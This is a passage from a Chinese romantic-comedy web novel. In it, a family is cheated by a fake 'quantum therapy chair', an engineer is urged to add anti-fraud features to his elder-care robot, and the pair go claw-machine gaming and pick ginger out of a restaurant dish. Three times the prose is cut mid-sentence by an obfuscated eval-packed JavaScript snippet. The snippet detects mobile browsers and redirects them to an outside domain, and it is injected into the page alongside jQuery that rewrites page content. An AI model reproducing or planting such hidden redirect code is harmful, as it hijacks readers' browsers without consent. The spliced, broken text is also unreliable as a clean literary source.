“哈哈哈！”她忍不住又笑起来。 而感觉自己被她用一种诡异的目光扫描过的周默，对着她这笑，悄悄往后撤了撤身子。 42. 养生骗局 上午十一点，“或者”咖啡内。 闯闯、迟了了、阿葱三人一个挨一个排排坐在靠窗的吧台桌前，双手托腮看着窗外，没有一个人说话。 此时如果有客人从外面经过，看到窗前的这三尊“雕像”一定会吓一跳。 突然，迟了了的雕像“叮”一下活了过来，猛地一拍桌子：“我有主意了！” “什么？！”旁边两个立刻扭头看过来。 “送阿姨去上学怎么样？”迟了了看着闯闯说。 “上学？”闯闯愣住了。 “我觉得，这或许，是个好主意诶！”阿葱想了想，犹豫地附和道。 “对吧对吧！反正阿姨在家闲着也是闲着，与其被骗子乘虚而入，不如去上老年大学，听说里面经常还会有防诈骗的宣传课呢，我们小区就有老人去上过。”迟了了说。 “但我听说老人上大学，子女也挺麻烦的，有时候还要去开家长会？”阿葱又说。 “这不更好！”迟了了更激动了，“让他们也感受一下被家长会支配的恐惧！” “嗯……” 这极具诱惑力的话，让另外两人都陷入了深深的思考。 送闯闯妈妈上大学这个主意，还要追溯到前阵子迟了了和闯闯去海岛旅游这件事。 在两人外出期间，闯闯妈妈，也就是“江湖”一名中的那位“胡女士”买了一张新椅子。 说起这张椅子，在胡女士口中那可是高科技产品，名叫“量子理疗椅”，说是不仅可以治疗关节炎颈椎病腰肌劳损，经常使用还能消散血液中的毒素和血栓，甚至连癌细胞都能扼杀于萌芽状态！ 要不说这人一上了年纪就容易贪生怕死呢，本来只是有点关节炎和腰间盘突出的胡女士一听那些附加功能立刻动了心，所剩无几的理智在推销员一口一个“姐姐”“亲妈”的甜蜜攻势下更是迅速土崩瓦解，最后果断掏了两万多块钱，买了个奇形怪状的椅子回了家。 结果呢？ ……椅子漏电。 胡女士每次坐上去都感觉浑身麻麻的，一开始还以为是那神秘的“量子理疗”起了效果，高兴得不得了，顿时是腰不酸了腿也不疼了，每天一有空就在上面坐一会儿！ 直到昨天，江湖梦早已褪去，被多年老婆孩子热炕头的生活滋养得膘肥体壮的江爸爸好奇之下也偷偷坐了上去。 结果量子理疗没起效，他两百来斤的体重倒是起了效—— 椅子被江爸爸一屁股给坐塌了…… 胡女士当场就炸了！ 闯闯说，她到家的时候，胡女士正捞着个鸡毛掸子满屋子追打江爸爸，誓要为心爱的高科技理疗椅报仇雪恨呢。 好在闯闯从两人断断续续的话语中听出了个大概，并及时发现了椅子的蹊跷，将两人拦了下来。 一家三口凑近椅子一看—— 好嘛，哪里有一丝一毫的高科技影子哟！ 不过是几个齿轮、钢片、电线，还有几块花园里随处可见的鹅卵石拼拼凑凑，最后套了个看似很高科技的不锈钢拼接白塑料的壳子而已！ 一想到自己竟然花好几万买回来这么个玩意儿，还被忽悠了这么久，胡女士顿时又羞又恼，一口气差点没上来！ 为此，老江家还兵荒马乱了好半天。 那位嘴甜会说的推销员自然是联系不上了，一家三口只能报警。 这种钱没那么容易追回，不过好在胡女士身体状况已经稳定，闯闯折腾了一整天，今天一睁眼，就开始考虑如何给自家老妈找点事干。 听完迟了了的话，她想了一会儿，一拍桌子：“就这么定了！我看她是几年不接受再教育，脑子开始糊涂了，还有我爸，也一起送过去！” 阿葱和迟了了交换了个眼神，默默为再次无辜受牵连的江爸爸致以同情。 “咳，其实说到底，还是骗子太可恶了！”阿葱说。 “就是！防不胜防。”迟了了也怒捶桌子。 …… “周默周默，给你那养老机器人里再加个防诈骗功能怎么样？”一回到家，迟了了就直奔801，逮着周默就说。 “什么？” 周默又一次被她突如其来的想法砸得摸不着东西南北。 等听完迟了了说的胡女士的事，他沉默了一会儿，叹了口气。 “我支持你们送老人去上学的提议，可是——”他顿了下，“我很好奇的是，为什么你对我的养老机器人这么积极？” 又是加乙女游戏，又是学习酒店服务机器人，又是防诈骗的……这明明是自己的研发项目，眼前这人的参与感有点过强了吧？ 迟了了两眼倏地一瞪：“我是你们的潜在消费者呀！以后我也要用你们的机器人的，所以当然要为我自己的体验感负责了！” 周默顿时：“……？” “谢谢啊。” 产品还在研发阶段，就有了个这么忠实的消费者，周默一时不知自己是该喜还是该愁了。 迟了了摆摆手：“不客气！说回防诈骗啊。我真的觉得这个功能很有必要，你看咱们小区，还有旁边公园里，时不时就会举行防诈骗宣传，可骗子的诈骗手段也是不断更新的！“ “以前是什么保健品、神药，现在还有高科技的东西了，就比如胡阿姨这次买的量子理疗椅，我还听说过什么‘量子美容’‘负离子床垫’‘防癌面膜’什么的，而且打着高科技的幌子，卖的一个比一个贵！ “就说咱们小区5号楼的张大爷，去年冬天就被骗着买过一双鞋垫，说是什么‘量子防癌鞋垫’，能按摩脚上的穴位，疏通经络，还能防癌，花了他两千块钱呢！” 周默眉心一紧，不禁怀疑地看着她：这骗局，有点荒谬了吧？ “真的，张越亲口告诉我的！”迟了了说，“你不知道，你们专业的可能觉得这是很明显的骗局，但大多数人，特别是这些老年人，对高科技的东西不了解，就很容易被忽悠，一听说什么分子原子量子负离子这个子那个子的，就晕头转向了！” 这，好像确实如此。 周默正要应声，可下一秒又被迟了了的话给了当头一棒。 “老实说，如果不是先认识了你，就你研究的这个AI养老机器人，我肯定也会怀疑你也是个骗子的！”她说。 周默顿时一口气哽在喉咙里，差点没缓过来。 半晌，他一字一顿地回道：“我，谢，谢，你，啊！” “所以，”迟了了微微趴下凑过身来，睁着那双晶亮的大眼又问，“这个功能是不是很值得加？” “加加加！！！” 周默拳头都要握碎了，咬牙切齿地应了下来。 就当是为了自己的清白了！ 迟了了这才心满意足地坐了回去，窝在沙发里惬意地晃着腿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818870|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周默也坐了回去，生无可恋地别过头看向窗外，短时间内不想再理她。 然而下一秒—— “唉！”一声叹息又蓦地从脑后响起。 “又怎么了？” 这么一扭头的工夫，迟了了已经从盘腿坐变成了葛优瘫，只见她躺在沙发里，手脚无力地垂着，像是刚从洗衣机里拎出来的玩偶一样蔫了吧唧的。 “经过这段时间对老人生活的观察，我发现了一个令人忧伤的现象。”她怏怏地说。 呦，令人忧伤？ 周默镜片后的眼眸微微一闪，立马转过来面向她：“什么现象？” ——能令你忧伤？ 当然，后半句他没说出来。 不过他不说迟了了也听出来了，不咸不淡地斜了他一眼，懒得跟他计较，仰天又叹：“我发现，银发经济真的是前途无量，一片蓝海啊！ “就比如你这个养老机器人，现在就是国家AI产业的重点发展方向之一，AI应用+养老领域，我上网查过了，还是这两年重点大会的重点关注项目呢！ “可再看我们儿童相关产业，现在出生率越来越低，幼儿园都一茬接一茬地关停，我们这行业……未来堪忧呀！ “你说说，一个是夕阳人群，相关产业却是朝阳产业，另一个是朝阳人群，相关产业却前途未卜，这难道不令人忧伤吗？” 周默原本还抱着看热闹的心态，可听她说完，唇角的笑意一点点消失不见。 他是真没想到，她会说这么正式的话题。 “儿童绘本，发展不好吗？”他问。 “嗯……”迟了了又换了个姿势，“我们这行相比以前其实还好了。这些年已经有越来越多的家长开始重视孩子的启蒙教育，而且之前都是国外引进的儿童绘本占据市场主流，但这几年开始，更符合国人审美、文化和价值观的国产儿童绘本和绘本作家也在不断涌现。不过呢——” 周默鲜少听到她如此深入地讲自己的工作，此刻听得十分认真。 “行业发展和社会肯定是紧密绑定的，现在老龄化加剧，就像——”她想了想，“就像一根跷跷板吧，老年人多，新生儿少，银发经济火了，儿童经济就走下坡了。” “对于我们这行来说，这又像是自己的跷跷板，家长的重视、行业的发展是一边，出生率下降又是另一边，谁能扛过谁，谁又会占据上风，现在还不知道。不过居安思危嘛，目前总体的少儿图书市场，已经开始受到冲击了。” 周默听完，沉默不语。 “不过！” 就在他想着该说些什么来安慰面前这人时，迟了了又骤然精神抖擞起来： “也没关系了！本来画儿童绘本就不怎么挣钱，大部分绘本作家都不单靠这个谋生的，就像我，平时也会画些插画、接些商稿呀！所以，就算它哪天真的发展不好了，也没关系！我们还可以干别的，反正有画画这门手艺在嘛。人类总是需要艺术的，不是吗？” 说罢，她冲周默眨眨眼。 周默忍不住勾起唇。 这话没错，人类，总是需要艺术的。 “不过，”她话锋又一转，脸色一冷，略带威胁地盯着周默，“你们做AI的，可不准抢我们饭碗，别再偷我们的画了！” 周默立刻明白过来她指的是什么，抿了抿唇，轻声反驳：“AIGC的锅，别让我们具身智能背，谢谢。” 43. 这个给你 这天，周默正抱着电脑在家加班，迟了了再次登门。 当当当的敲门声与以往的有些不同，快节奏中罕见地透出一些焦急来。 周默从电脑后抬起头，扬声喊了句“进来”，便又低下头去，看样子是没准备起身迎接。 事实上，自从他把大门密码告诉迟了了之后，每次她下楼，他便再懒得给她开门。 对此，迟了了不止一次嘀咕：真是的，这是作为主人家对待客人该有的礼数吗？ 不过这一回，迟了了没心思在意这个了，她推开门，还没进来就火急火燎地朝周默喊道：“周默，我家停水了！” 周默敲打键盘的手指一顿，抬眸看过去。 门口的迟了了显然是刚起床，身上还穿着睡衣，头上戴着个支棱着一根绿色小芽的发箍，头发乱蓬蓬的。 此时，那根绿油油的小芽也像是感染了主人的焦急一般，两瓣小叶子颤颤巍巍地抖动着。 两人你看我我看你了好一会儿，迟了了迷惑了，周默也迷惑了。 “我家停水了！”她又重复了一遍。 “哦，”周默回过神来，低头准备继续工作，“我家也停了。” 迟了了一愣：“啊？” “整栋楼都停了。”周默头也不抬地又说。 “啊？？？” 周默叹了口气，抬头看向她：“你没看楼下贴的通知？” “通知？什么通知？” 迟了了又一愣，仰头回忆起来。 楼下，贴的，通知…… 嘶，好像——有那么点印象。 这两天下楼的时候好像是见单元楼的玻璃门上贴了张白纸，但—— “我没仔细看，说的什么？”她一脸无辜地看向周默。 “……”周默被噎了一下，“你们业主群里也没通知？” 对哦！ 迟了了赶紧掏出手机，一边打开业主群一边解释：“前两天302和402的业主在群里吵架，还是大早上吵，叮呤当啷响个不停，吵得我睡不成觉，我就把群给屏蔽了！” 说话间，她已经找到了那条通知： 【尊敬的业主及住户： 您好！为保证居民生活用水质量……物业公司决定于x月x日（周六）对小区供水水箱进行清洗，届时需停水作业，具体停水时间为9：00-16：00，请各位业主……】 快速扫视一遍消息，迟了了呆滞地抬起头：“……要，停到下午4点？” “嗯。”周默点头。 “可是我头发和澡都没洗怎么办？” “那就忍一次吧。” “澡可以忍，头发不能忍，我这发型要打理的！而且我还没刷牙洗脸呢。” 周默微微眯眼看向她的脸上，随即摇头：“看不出来。” 摔！这是看不看得出来的问题吗？ 迟了了急了，蹭蹭蹭跑进来，“啪”地一下双手拍在桌上，直接问：“周默，你储水了吗？” 这还用问？ 周默偏头示意了一眼厨房方向。 迟了了面上一喜，立刻转身，又蹭蹭蹭跑进厨房。 几秒钟后，她再次欢天喜地地跑出来：“周默，借我点水呗！” 周默眉心一紧，向后撤身拉开两人距离，警惕地看着她。 “‘点’……是多少？” “就……”迟了了眼睛贼溜溜一转，双手在胸前抱成一个圆圈，“这——么多？” 括成了满圆的双臂，当作计量单位来说可多可少，但周默却一眼就领会到了她所表达的意思——他昨天提前准备的几桶纯净水，放在一起，不多不少，就是这么大的范围。 “免谈。”周默脸上表情一收，无情拒绝。 然而迟了了怎会就此罢休。 她垂眸看着环围的双臂，眼睛眨了一眨，下一秒双手直接往上一抬，在头顶比了个大大的心形。 “周默——”她拉长声音，“借我一点水吧！” 这动作实在有些暧昧了，周默心跳蓦地漏了一拍，可等听到她的话，瞬间又如遭雷劈。 倒不是因为她是在撒娇，恰恰相反，迟了了说这话的时候，那声音那腔调，竟带着几分虔诚，完全不是在卖萌撒娇，反而像是在……求雨？？？ 没错，就是求雨的口吻！ “那是我留着做午饭的水，还有饭后洗刷用的。”半晌，周默无奈叹道。 这事好解决！ “我请你出去吃呀！”迟了了说。 周默顿感无力，抬手捏了捏鼻梁。 - 提前预备的几桶水被迟了了尽数拎走，一个小时后，她洗漱完毕，穿戴整齐，挎着小包再次来到801，像当初带袁周率小朋友出去玩一样，带着周默出门了。 今天，她穿了件绿色的泡泡袖上衣，下身搭一件白色的牛仔裤，肩上斜挎一个同样绿色的小包，被扎起一把的泡面头上还别了个胡萝卜发卡，整个人落在后面跟着的周默眼里，活像一颗活蹦乱跳、水灵灵的小白菜。 周默再低头看自己。 无趣的黑T和黑色长裤。 明明自己只比她大了三岁，可这一比却像是爸爸带女—— 停！周默立刻掐断脑子里呼之欲出的念头，摇摇头将这胡思乱想甩出去。 可他刚放下这念头了，没走几步，便又迎面碰上了跟着奶奶出来玩耍的小茉莉。 小女孩一见迟了了便扔下玩具兴冲冲地跑了过来，一把抱住她的腿：“三三姐姐！” 等亲昵够了，小女孩又抬起头看向后面的周默，扯着甜甜的娃娃音，软乎乎地喊道：“周默叔叔！” 咳！ 姐姐？叔叔？ 周默心头狠狠中了一箭，忍着闷痛朝她点头致意，心里更加郁卒了。 …… 作别“童言无忌”的小丫头，两人来到附近的商场里。 因为是周末，商场里人多得简直可以用人山人海来形容，许多家餐厅门口都排起了长队，迟了了带着周默走了半天，才终于找到一家人没那么多的。 这是一家前不久刚开业的创意菜餐厅。 领了号，两人在门口找了两张空椅子排队等待。 周默坐在椅子上，对着面前来来往往的人，和周遭熙熙攘攘的声音，渐渐发起呆来。 如今“点睛项目”基本已经步入正轨，前期的调研分析在他原本的基础上又做了进一步深化，如今团队的软硬件研发工作正进行得如火如荼。 祝赫带领一批人，主要负责机器人的机械工程设计，包括各项机械结构设计、传感器和电路设计；而他则负责机器人的“大脑”，包括“点睛大模型”的开发、各项应用算法、操作系统和应用程序。 这是一项极其复杂的工作，从初步框架，到数据收集、筛选、清洗，再到模型设计、训练、优化……每一步都要经过反复推演。 而周默的大脑几乎相当于一个精密便携的小型计算机，在这里，每时每刻都有一行行代码和数据不断活跃着。 此时此刻，他正盯着面前的一块地砖，一动不动地在脑内飞快演算着。 而旁边迟了了也很沉浸。 ……沉浸地，坐在椅子上踢脚玩。 她今天穿的鞋子是有鞋带的，鞋带被系成了两个蝴蝶结形状，她将两只脚翘起来，一会儿上下踢，一会儿左右踢，鞋带被她踢得甩过来又甩过去。 这个落在别人眼里很无聊的举动，在她看来却似乎有着无穷无尽的乐趣。 等踢够了，她又到处东张西望，看有没有什么好玩的东西。 突然，她脑袋一顿。 然后脖子长长伸了出去。 几米外的玻璃围栏旁，一台粉色的抓娃娃机正侧对着这边，在它面前，一个小孩怀里抱着个兔子玩偶，正兴高采烈地摇晃着娃娃机的控制杆。 迟了了双眼一亮，立马从椅子上跳下来，一把拉起周默：“反正还有一会儿，咱们去抓娃娃吧！” 周默脑子里的公式正推演得起劲，骤然便被打断，紧接着不等他反应过来，整个人已经被迟了了拽着往那边去了。 周默满脑袋：？？？ 等又走近一些，迟了了才发现这边原来有一整排娃娃机！ 这可把她给高兴坏了，立马撒开周默，兴奋地扑了过去。 而直到她扫了码换了币，已经站在一台机器前撸起袖子准备开干时，被扔在原地的周默才回过神来，明白自己为什么会被突然拉到这来。 无声叹了口气，他走上前去，想跟迟了了说让她自己在这玩，他就先回去排队了。 可刚走到跟前还没开口，迟了了便将装着半框游戏币的塑料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818871|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小框往他手里一塞，头也不转地发出邀请： “来呀，你也抓！我请客！” 那语气，当真阔绰豪气！ 手里猝不及防多了个沉甸甸的小框，周默顿了顿，又放回到她面前：“你先——” “抓到了！” 然而话还没说完又被迟了了激动的惊呼打断，只见她瞪着一双眼睛紧紧盯着透明游戏柜里正被三爪夹子夹着往角落移动的熊猫玩偶，整个人早已顾不上旁边的周默。 周默没想到她这么快就抓到了一个，一时间也不敢再开口打扰她。 可他没想到的是，接下来，他再也没有机会开口了。 迟了了对抓娃娃似乎很有一套，别人手里恨不得砸了的机器，到她手里竟变得格外乖巧听话，不说一抓一个准，但十次里也能有四五次不会空手而归。 不一会儿，附近的几台机器都被她抓了个遍，每一款娃娃都被她抓了至少一个出来，吸引了不少旁边人惊讶羡慕的目光。 而在她身后，手里大大小小抱了一堆玩偶、几乎成了个玩偶展示架的周默更是引来一群小朋友的近距离围观，连步子都要迈不动了！ 终于，他受不了了，低声警告地喊了一声：“迟了了！” 迟了了忙不迭应道：“好了好了，最后一枚游戏币了！” 下一秒，又一只玩偶掉落出来，小朋友们齐齐发出一阵欢呼，迟了了这才收手。 “怎么样？我厉不厉害！”她转身挤到周默面前，立马得意洋洋地叉着腰扬起下巴问他。 周默满心烦躁，下意识就想怼她两句，可话到嘴边对上她这笑眯眯的小嘚瑟样又咽了回去，不耐烦地“嗯”了一声，而后抖抖身上：“赶紧的，把这些东西从我身上拿走！” 迟了了得到满意的回答，立即咧嘴一笑，露出两排小白牙。 不再折磨他，她接过周默手上的两只玩偶。 可她却没有将玩偶收起来，而是转手就递给了腿边围着的两个小朋友。 “送给你们！” 小朋友们顿时“哇”声一片！ 迟了了转身又从周默身上拿下几个，一边送出去一边问：“你们要说什么？” 小朋友们异口同声：“谢谢姐姐！” “嗯！”迟了了满意极了，“还有呢？” “谢谢叔叔/大哥哥！” 周默本就不好的脸色更加青一阵白一阵。 等所有小朋友都拿到玩偶高高兴兴地离开，迟了了手上只剩最后两个了，然而这还不算完，她又转身走向几步外站着的一对小情侣。 来到两人近前，她伸手将其中一个小狐狸递向那个女生：“这个送给你！” 她刚刚就留意到，这对小情侣已经来了有一阵子了，女生很想要一只小狐狸玩偶，无奈两人技巧和运气都不大行，死磕了半天也没抓上来一个。到最后，甜甜蜜蜜出来约会的俩人眼看都快要吵起来了。 女生惊讶地看着迟了了，又看看身旁的男朋友：“这——” 她其实已经在旁边看了好久了，眼见自己和男友怎么都抓不上来的玩偶被别人轻轻松松抓走，说自己心里没点着急是假的。 尤其是刚刚，看到对方将抓来的玩偶一个个送给小朋友，她差点没忍住，想让男朋友也厚着脸皮试着上去要一个了…… 可没想到自己还没开口，对方却先一步送了过来。 “这，怎么好意思啊！”女生尴尬得连连摆手。 “没关系的！”迟了了将玩偶直接塞进她手中，举着手里最后一只猫头鹰摇了摇，“我有这一个就够了！” 女生捧着玩偶，一颗心在入手柔软的触感和玩偶身上散发出来的淡淡香气中简直化作了一滩水，挣扎几番之后还是投降了。 “谢谢你呀~” “不客气！” …… 这边周默双手抄兜，眼看着几分钟前还浩浩荡荡的玩偶大军转眼只剩下孤零零的一个，莫名透出几分凄凉，一时不知是该觉得好笑还是无奈。 而更令他始料未及的是，迟了了拿着仅剩的那个猫头鹰玩偶回到他跟前，突然笑了一下，然后伸手把那只玩偶递过来，说： “周默，这个送你！” 周默表情一僵，看着几乎和自己面对面的猫头鹰，先是一阵错愕，紧接着，有种奇怪的感觉渐渐涌上心头。 44. 大战姜丝 “我不要。” 半晌，他别开眼，淡淡回了一句。 “别呀，”迟了了忙说，“这可是我抓得最难的一个，用了我十个币呢！而且你看这小猫头鹰，是不是跟你还有点像？嘿嘿！” 周默努力让自己忽视掉心里因为这话而泛起的异样，匆匆丢下一句：“不像，快到号了。”便转身往餐厅走去。 他这反应当真有些出乎迟了了的预料了。 看着大步离开的背影，迟了了纳闷地歪了歪脑袋，又将手里胖嘟嘟的猫头鹰玩偶举到眼前。 一人一偶面面相觑了好一阵，最后她放下玩偶，茫然嘀咕：“生气了？” 然而注定没人能回答她这个问题，她只能摇摇头，赶紧小跑追了上去。 …… 周默说的没错，迟了了拿着玩偶刚追到餐厅门口，广播里便响起了他们的号码。之后两人进店、入座、将猫头鹰端端正正放在桌子上、点菜，然后—— 迟了了卡住了。 “你到底要吃什么呀？”迟了了将菜单从头翻到尾，又从尾翻到头，最后推到周默面前，问他。 周默的回答还是：“都行。” “都行……”迟了了撇撇嘴，“等于没说。” 要是搁在平时，迟了了自己点也就点了，毕竟这段时间以来，她已经大致摸清了周默的口味。 而且就算点了他不爱吃的，那她自己爱吃不就行了？ 可无奈的是，这家店的菜品命名十分抽象，什么“关公战吕布”“大闹天宫”“赠李白”“叶卡捷琳娜”……光看名字，完全猜不出到底是个什么菜，更别说旁边的配图底下还写着“图片仅供参考”这几个字，更让迟了了犯难了。 “要不，换一家？”周默瞄了一眼，也看到那一个个不靠谱的菜名，提议道。 迟了了立刻摇头：“不要不要，去别家又要排队，而且，”她抬头看向他，“你不觉得还挺好玩的吗？” 周默不解：“什么好玩？” “点菜啊，有没有像抽盲盒？！”迟了了兴奋地说。 周默顿时：…… 算了，你开心就好。 他抬手示意迟了了继续。 “抽盲盒”是“抽盲盒”，可也不能一点策略都没有吧，思考片刻，迟了了做了个决定。 她拿着菜单从座位上起身，先是转身看了一圈，然后直接抬腿跪在了座位上，扒拉着沙发靠背探头看向后面那桌。 “小姐姐，你们点的那个菜叫什么呀？” 她乍然开口，这话一出，不仅是那桌正在吃饭的客人，连周默都被她惊得瞪大了眼！ 这是在搞什么？！ 就这么直接问吗？！ 而没等周默缓过神来，迟了了已经问完了这桌，又跑到旁边去问了另外两桌，等重新端着菜单回来，那张原本纠结万分的脸上已经满是自信的笑。 “这个、这个，还有这个！” “取经”归来的迟了了对着菜单一通挥斥方遒，很是胸有成竹！ 点完刚刚别人推荐的三道菜后，她又觉得自己也不是不能盲点一道，反正有其他三道菜保底了。 于是翻了翻菜单，又定下最后一道——“御夫座流星雨”。 …… 十分钟后。 “啊，可恶！又是姜丝！” 迟了了将口中的姜丝吐到纸巾上，气呼呼地瞪着眼前这盘“御夫座流星雨”，目光灼热得简直能把这份由二分之一红辣椒和四分之一土豆丝，以及四分之一姜丝构成的“创意菜”给点着了！ “这已经是第五根了，我怎么这么倒霉！” 对面周默摇摇头，将一盘菜往她那边推了推：“那就别吃了，吃这个吧。” “不行！”迟了了却来了劲，“我就不信我分不出它们俩了，你信不信，等吃完这盘菜，我在区分土豆丝和姜丝的赛道上绝对所向披靡！” 周默深吸一口气，很想告诉她：信，但是没有必要。 可动动唇，他又将话忍了回去，从善如流地点头： “信。” 他算是知道，这家奇葩餐厅的受众都是谁了……说不定日后这家餐厅可以举办一个挑姜丝比赛的活动，相信能让迟了了交到不少朋友。 …… 就这么漫无边际地想着，周默一边吃饭，一边看迟了了从辣椒堆里夹出一筷子黄色细丝，然后眯着眼在骨碟上逐根判断哪一根是土豆丝哪一根又是姜丝，一边又在她被辣得龇牙咧嘴的时候适时递上一杯柠檬水…… 怎么能有人挑姜丝都挑得这么兴致勃勃呢？ 周默对此感到匪夷所思。 可紧接着，他又发现迟了了的成功率竟然真的有所提高，已经连续五根都是土豆丝了。 然而这个念头刚冒出来—— “呸！” 迟了了失败又+1。 周默抬手挠了下眉尾，收回刚刚的念头，并将满上的水杯再次递过去。 而就在这电光石火间，一个名词突然闯入他的脑海。 这联想实在有些无厘头，以至于他猝不及防之下一个没忍住就笑出了声！ 迟了了正埋头喝水，听到笑声，从杯后抬眼看过来。 因为盯姜丝太用力而有些湿润泛红的眼睛此刻显得更亮了，在杯子的掩饰下，像只警觉懵懂的小鹿。 “你笑什么？”她放下杯子就问。 周默绷直唇线，将嘴角的笑藏起，若无其事地摇头：“没什么，想到一个游戏。” “游戏？”迟了了奇怪了，“你不是不玩游戏？” “嗯，一个挺火的游戏，见别人玩过。” “什么游戏？” “植物大战——” 周默顿了下，唇角的笑再次溢出来，他赶忙压下唇角试图再度忍回去，然而这次却没能成功，于是只好抬手掩唇，继续道，“姜丝。” 迟了了茫然地眨眨眼，没能立刻明白过来他的意有所指。 “周默，你是不是平翘舌音不分啊，是植物大战‘僵尸’，sh-i-尸，不是‘丝’。” “没错，就是姜丝。” 周默见她这认真纠正自己的样子更想笑了，于是索性不忍了，抬眼看向她面前的那一小堆姜丝，又拿筷子朝她画了个圆圈。 迟了了眨眨眼，疑惑地低下头。 ……这下，她总算反应过来了。 “周默，谐音梗要扣钱的！”她忿忿瞪着他。 周默则笑得更放肆了。 - 迟了了与姜丝的战斗，最终以周默的这句调侃告以终结。 原本她是想继续作战到底的，可没办法，周默不说还好，一说之后，她再挑姜丝时便总感觉自己变成了那只挥舞着拳头胖揍僵尸的大白菜。 数次濒临破功之后，她还是决定休战了。 吃完这顿异常艰难且耗时持久的午饭，两人溜溜达达往回走。 不过“有仇不报非君子”，因为那句“植物大战姜丝”，迟了了一路上抱着那个猫头鹰玩偶可着劲儿地蹂躏。 大有将它当作周默来报复的架势。 一会儿说：“再瞪？再瞪把你眼镜摘了！” 一会儿又说：“绷着脸干嘛，给爷笑一个！” 一会儿又挤着猫头鹰的脸，说：“来，嘟嘟嘴卖个萌嘛！” …… 周默从旁听着她含沙射影、指桑骂槐，侧头看了她好几眼，却也只能忍气吞声，当没听到。 毕竟，他很清楚，如果自己开口制止，迟了了肯定会倒打一耙，说自己先对号入座了…… 就这么被明晃晃阴阳怪气了一路，两人坐着电梯来到8楼。 周默总算松了口气，电梯门一开就要抬脚往外走。 可不料刚迈出步子，身后迟了了突然一把拉住他的胳膊，将他又给拽了回来！ “你——” “嘘——” 就在周默惊愕不已回身质问时，迟了了又先一步拦住他的话，嘘地一声伸出一根手指，然后悄悄指了指外面。 周默一顿，蹙眉狐疑地看着她。 而不用迟了了再说什么，电梯外一个男人的哀求声已经为他解了惑：“亲爱的我一定改，你再给我一次机会吧——” “……？” 电梯里的两人顿时面面相觑。 而下一秒，两人脸上又呈现出截然不同的反应：

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818872|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 周默是皱着眉，一脸的不可思议； 迟了了则满脸兴奋，跃跃欲试的眼睛里透露着四个大字——“有八卦看”！ 与此同时，在电梯外的男人毫无察觉时，电梯门悄然阖上，然后继续上升。 等到了迟了了之前摁下的9楼，电梯再度打开。 这一次，换成迟了了拉着周默迫不及待地钻出去了——两人没去901，而是径直钻进了对面的步梯间。 落后半步的周默被拉着往前，目光落在迟了了抓在自己手腕的手上不禁滞了滞。 没有衣服的阻隔，那只手的温度和触感无比清晰地传导到他的皮肤上，而后那温温软软的感觉又顺着血管，流淌向他胸口之下。 忽然间，中午收到玩偶时出现过的那种莫名的、难以捉摸的情绪，再次蠢蠢欲动了一下。 然而眼下情形太过仓促，周默来不及捕捉，那情绪便再次销声匿迹……他只好敛回念头，任由迟了了牵着，和她一起放轻脚步往楼下走。 …… 走到一半，迟了了停了下来，松开他的手，趴在扶手上，悄悄探头朝下看去。 周默看了眼落空的手腕，不动声色地收到身后，也探头看过去。 自从他搬来，就从未见过对面802的住户。而此时，这家的大门却半开着，门口还有一个穿着吊带长裙、留着波浪卷发、五官明艳的年轻女人。 女人双手抱臂，斜倚在门口，正似笑非笑地垂眸看着面前的男人。 那是一个穿着西装、衣冠楚楚的男人，因为背对着迟了了和周默，所以他们看不见男人的脸，只能看到他头上打着满脑袋发蜡，听到他要跪不跪地蹲在地上，仰头向女人哭求着。 “心心，我真的知错了！你相信我，我只是一时糊涂啊！”男人抽噎地说。 “我已经改了，真的！我向天发誓，以后我绝不再犯！”男人举起手说。 “你再给我一次机会吧！我保证！不信你看，”男人掏出手机递上去，“我已经把她删了！” 被唤作“心心”的女人听到这儿，才终于有了点反应。 只见她冷冷一笑，懒懒吐出一个字：“她？” 男人一噎：“额，她，她们……” “嗯——”女人这才满意，示意他继续往下说。 男人有些为难，似乎刚才那番话已经用尽了他的腹稿，吞吞吐吐半晌，只能又把那些话车轱辘似的重复了一遍，中间不时夹杂着少量的有效信息，譬如“再也不在网上瞎聊了”“以后绝对不下这些软件了”“我就是无聊才这样”……之类的。 楼梯间里，迟了了听了这么会儿基本算是听明白了。 “好家伙，原来是只章鱼！还是爬网的那种！”她低声叱道。 偷听到同样信息的周默被她这比喻整无语了，低头瞄她一眼，忍不住同样压低声音问：“请问咱们现在这样是在干嘛？” “听八卦呀！”迟了了飞速扫他一眼，意思：这还不明显？ 周默一口气差点没上来：……谢谢，他当然看得出来是在听八卦，可问题是—— “有必要这么偷偷摸摸？” “嗯？”迟了了不解地抬头看他。 “为什么不能回去听？”周默示意了一下距离两人只有几步之遥的801大门，悄悄问。 迟了了怔了下，明白过来他的意思，然而却叹了口气，无奈道：“你倒是可以回去听，但我不行。” “你怎么不行？” “我跟她，”迟了了指了指门口的方向，“认识！不仅认识，还很熟！要让她看见我，我还有八卦听吗？” 